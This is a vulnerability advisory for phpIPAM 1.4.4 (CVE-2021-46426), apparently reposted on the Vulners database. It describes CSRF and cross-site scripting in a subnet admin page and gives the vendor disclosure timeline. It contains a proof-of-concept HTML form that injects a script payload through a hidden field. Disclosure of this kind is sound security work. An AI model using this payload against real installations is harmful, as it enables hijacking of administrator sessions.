Vulners
Lucene search
PHPIPAM 1.4.4 Cross Site Request Forgery / Cross Site Scripting
🗓️ 19 May 2022 00:00:00Reported by Rodolfo Tavares, tempest.com.brType 
packetstorm🔗 packetstormsecurity.com👁 251 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | PHPIPAM 1.4.4 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities | 21 May 202200:00 | – | zdt |
 | CVE-2021-46426 | 25 Mar 202219:30 | – | circl |
 | phpIPAM 跨站脚本漏洞 | 25 Mar 202200:00 | – | cnnvd |
 | CVE-2021-46426 | 25 Mar 202215:54 | – | cve |
 | CVE-2021-46426 | 25 Mar 202215:54 | – | cvelist |
 | EUVD-2021-33104 | 3 Oct 202520:07 | – | euvd |
 | CVE-2021-46426 | 25 Mar 202216:15 | – | nvd |
 | phpIPAM < 1.4.5 Multiple Vulnerabilities | 21 Jan 202200:00 | – | openvas |
 | Cross site scripting | 25 Mar 202216:15 | – | prion |
 | PT-2022-12701 · Phpipam · Phpipam | 25 Mar 202200:00 | – | ptsecurity |
10
`=====[ Tempest Security Intelligence - ADV-03/2022
]==========================
PHPIPAM - Version 1.4.4
Author: Rodolfo Tavares
Tempest Security Intelligence - Recife, Pernambuco - Brazil
=====[ Table of Contents ]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References
=====[ Vulnerability Information
]=============================================
* Class: Improper Neutralization of Input During Web Page Generation
('Cross-Site Scripting') [CWE-79]
* CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
* Class: Cross-Site Request Forgery (CSRF) [CWE-352]
* CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
=====[ Overview ]========================================================
* System affected: PHPIPAM - Version 1.4.4
* Software Version: Version 1.4.4 (other versions may also be affected).
* Impact: PHPIPAM 1.4.4 is vulnerable to Cross-Site Request Forgery (CSRF)
and Cross-Site Scripting (XSS) via
app/admin/subnets/find_free_section_subnets.php. An attacker can exploit
this by injecting javascript code to coerce an admin user into performing
unintended actions.
=====[ Detailed description
]=================================================
The html codes below exploit vulnerabilities in the same way due to the
fact that both forms do not contain CSRF tokens and are vulnerable to XSS
attacks. Then an attacker can host the forms on their malicious host and
trick an administrator into visiting your page. If successful, the
javascript code will execute.
* [app/admin/subnets/find_free_section_subnets.php]
<html>
<body>
<h1> Exploit PHPIPAM </h1>
<script>history.pushState('', '', '/')</script>
<form action="
http://127.0.0.1:8082/app/admin/subnets/find_free_section_subnets.php"
method="POST">
<input type="hidden" name="container" value="body" />
<input type="hidden" name="placement" value="top" />
<input type="hidden" name="sectionid" value="2'><input
onpointerleave="alert(1)">rodnt</input><script>alert('incogbyte')</script>"
/>
<input type="hidden" name="original-title" value="Search for free
subnets in section " />
<input type="submit" value="Exploit" />
</form>
</body>
</html>
=====[ Timeline of disclosure
]===============================================
13/Jan/2022 - Responsible disclosure was initiated with the vendor;
14/Jan/2022 - PHPIPAM confirmed the issues;
17/Jan/2022 - The vendor fixed the issues XSS and CSRF;
24/Mar/2022 - CVE reserved as CVE-2021-46426;
25/Mar/2022 - CVE assigned [5].
=====[ Thanks & Acknowledgements ]========================================
* Tempest Security Intelligence [4]
=====[ References ]=====================================================
[1] [
https://cwe.mitre.org/data/definitions/352.html|https://cwe.mitre.org/data/definitions/352.html
]
[2] [
https://cwe.mitre.org/data/definitions/79.html|https://cwe.mitre.org/data/definitions/79.html
]
[3] [
https://github.com/phpipam/phpipam/commit/6c1f72816d6ac634e9c174057e008717d959f351|https://github.com/phpipam/phpipam/commit/6c1f72816d6ac634e9c174057e008717d959f351
]
[4] [https://www.tempest.com.br|https://www.tempest.com.br/]
[5] [
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46426|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46426
]
[6][ Thanks to Celso (CGB) =)]
=====[ EOF ]===========================================================
--
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 May 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 24.3
CVSS 3.16.1
EPSS0.00572